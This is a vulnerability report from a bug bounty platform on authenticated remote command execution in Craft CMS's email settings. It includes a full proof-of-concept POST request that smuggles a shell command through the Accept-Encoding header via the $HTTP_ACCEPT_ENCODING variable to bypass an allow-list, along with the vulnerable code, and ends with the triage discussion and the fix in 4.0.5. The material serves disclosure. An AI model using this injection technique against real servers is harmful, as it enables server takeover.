Authenticated RCE through /admin/settings/email endpoint in craftcms/cms

Valid

Reported on

May 7th 2022


Description

Craftcms is vulnerable to Command Injection on the email settings, on the /admin/settings/email endpoint. An attacker can send a POST request with a specially crafted transportTypes[craft\mail\transportadapters\Sendmail][command]= parameter to inject arbitrary commands that will be executed by the server. This can be exploited to gain access to sensitive information, or to take control of the server.

Proof of Concept

  1. As an authenticated user, send the following POST request :
POST /admin/settings/email HTTP/1.1
Host: tutorial.nitro
Content-Length: 1567
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://tutorial.nitro
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://tutorial.nitro/admin/settings/email
Accept-Encoding: /bin/touch /tmp/caio.txt; -bs
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: CraftSessionId=a9c4d48f469aeafb0104ae0764ab2ced; 1031b8c41dfff97a311a7ac99863bdc5_identity=44097a28c77a8e9b50bf5a3961405a423a803d86736130a4238217a4a6fd9208a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%221031b8c41dfff97a311a7ac99863bdc5_identity%22%3Bi%3A1%3Bs%3A159%3A%22%5B1%2C%22%5B%5C%229RBgto_5gOySUsNpsV3PFZ9zyT1Ulw_4QgDHBHSsNkftGaxKV3eQpZCfy1_Lf4tywuYQeJ6jxjNPIv3mP-KKwfRy7ERG_oqTRv_-%5C%22%2Cnull%2C%5C%22727ad4f7864c7014a50b399443285ac1%5C%22%5D%22%2C3600%5D%22%3B%7D; CRAFT_CSRF_TOKEN=7b630e55d438c66036fd34b88848d375b3b4df81000e394ccc9e9b7856f979e6a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A147%3A%22XlVZEWxgLyFWBOCwEUDw7JEbRpwFddHl0QD3Up86%7C899f57f7a62d2d6a628a1ff63d0464143fc1900e4b3a75fc509cc9ff79344fc9XlVZEWxgLyFWBOCwEUDw7JEbRpwFddHl0QD3Up86%7C1%22%3B%7D; 1031b8c41dfff97a311a7ac99863bdc5_username=85a1d514f8cd30fd480bbc5a47bbd795f4a09c14e02d5831744def469bca384ea%3A2%3A%7Bi%3A0%3Bs%3A41%3A%221031b8c41dfff97a311a7ac99863bdc5_username%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D
Connection: close

CRAFT_CSRF_TOKEN=xxx&action=system-settings%2Fsave-email-settings&
redirect=61397312e1a8395a0eee0b2326b3ca7166610066e62b4322d1747aaa889b1270settings&fromEmail=g3ol4d0%40gmail.com&
replyToEmail=&fromName=test&transportType=craft%5Cmail%5Ctransportadapters%5CSendmail&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSendmail%5D%5Bcommand%5D=%24HTTP_ACCEPT_ENCODING&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Bhost%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Bport%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5BuseAuthentication%5D=1&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Busername%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Bpassword%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5BencryptionMethod%5D=none&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Btimeout%5D=10&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CGmail%5D%5Busername%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CGmail%5D%5Bpassword%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CGmail%5D%5Btimeout%5D=10&action=system-settings%2Ftest-email-settings

The transportTypes[craft\mail\transportadapters\Sendmail][command]= parameter was set to $HTTP_ACCEPT_ENCODING, this is necessary to bypass the _allowedCommands() function on htdocs/vendor/craftcms/cms/src/mail/transportadapters/Sendmail.php.

private function _allowedCommands(): array
    {
        // Grab the current value from the project config rather than $this->command, so we don't risk
        // polluting the allowed commands with a tampered value that came from the post data
        $command = Craft::$app->getProjectConfig()->get('email.transportSettings.command');

        return array_unique(array_filter([
            !str_starts_with($command, '$') ? $command : null,
            self::DEFAULT_COMMAND,
            ini_get('sendmail_path'),
        ]));
    }

The function fails to proper check if the command should be accept because an attacker can use the $HTTP_ env variables to bypass the check.

The command is than inserted on the Accept-Encoding: /bin/touch /tmp/caio.txt; -bs header (or any other). It's also necessary to pass an -bs string to the command because of the /htdocs/vendor/symfony/mailer/Transport/SendmailTransport.php

if (null !== $command) {
            if (!str_contains($command, ' -bs') && !str_contains($command, ' -t')) {
                throw new \InvalidArgumentException(sprintf('Unsupported sendmail command flags "%s"; must be one of "-bs" or "-t" but can include additional flags.', $command));

With that we can execute arbitrary command on the server.

$ ls -lhrat /tmp/
[...]
-rw-r--r--    1 www-data www-data       0 May  7 18:56 caio.txt
drwxrwxrwt    1 root     root        4.0K May  7 18:56 .

Impact

An authenticated attacker can execute arbitrary command on the server. This can be exploited to gain access to sensitive information, or to take control of the server.

Occurrences

I think _allowedCommands should be fixed to have the env vars on mind.

We are processing your report and will contact the craftcms/cms team within 24 hours. 2 years ago
We have contacted a member of the craftcms/cms team and are waiting to hear back 2 years ago
We have sent a follow up to the craftcms/cms team. We will try again in 7 days. 2 years ago
Caio Lüders
2 years ago

Researcher


Hi @admin , we have any updates about this ? I saw that the maintainer has opted out ...

Jamie Slome
2 years ago

Admin


@caioluders - we have reached out to the maintainer manually, as they have asked for their repository to be opted out of the platform.

I will keep you updated on the status of their response 👍

Pavlos modified the Severity from Critical (9.1) to High (7.5) a year ago
Pavlos modified the Severity from High (7.5) to Critical (9.1) a year ago
Pavlos
a year ago

Admin


sorry didn't mean to do that

craftcms/cms maintainer modified the Severity from Critical (9.1) to High (7.5) a year ago
The researcher has received a minor penalty to their credibility for miscalculating the severity: -1
craftcms/cms maintainer validated this vulnerability a year ago

Technically an issue, I suppose, but pretty edge-case.

You'd need to:

• Have an authenticated control panel session. • Be an administrator • Be able to alter project config files on the filesystem, which we recommend against by telling people to set allowAdminChanges to false in production environments: https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production

Regardless, the sendmail command now excludes any environment variables that are prefixed with HTTP_ and any fields that support parsing environment variables now exclude variables that begin with $HTTP as an autocompleted suggestion.

Caio Lüders has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
craftcms/cms maintainer marked this as fixed in 4.0.5 with commit 87aef7 a year ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
Sendmail.php#L125 has been validated
to join this conversation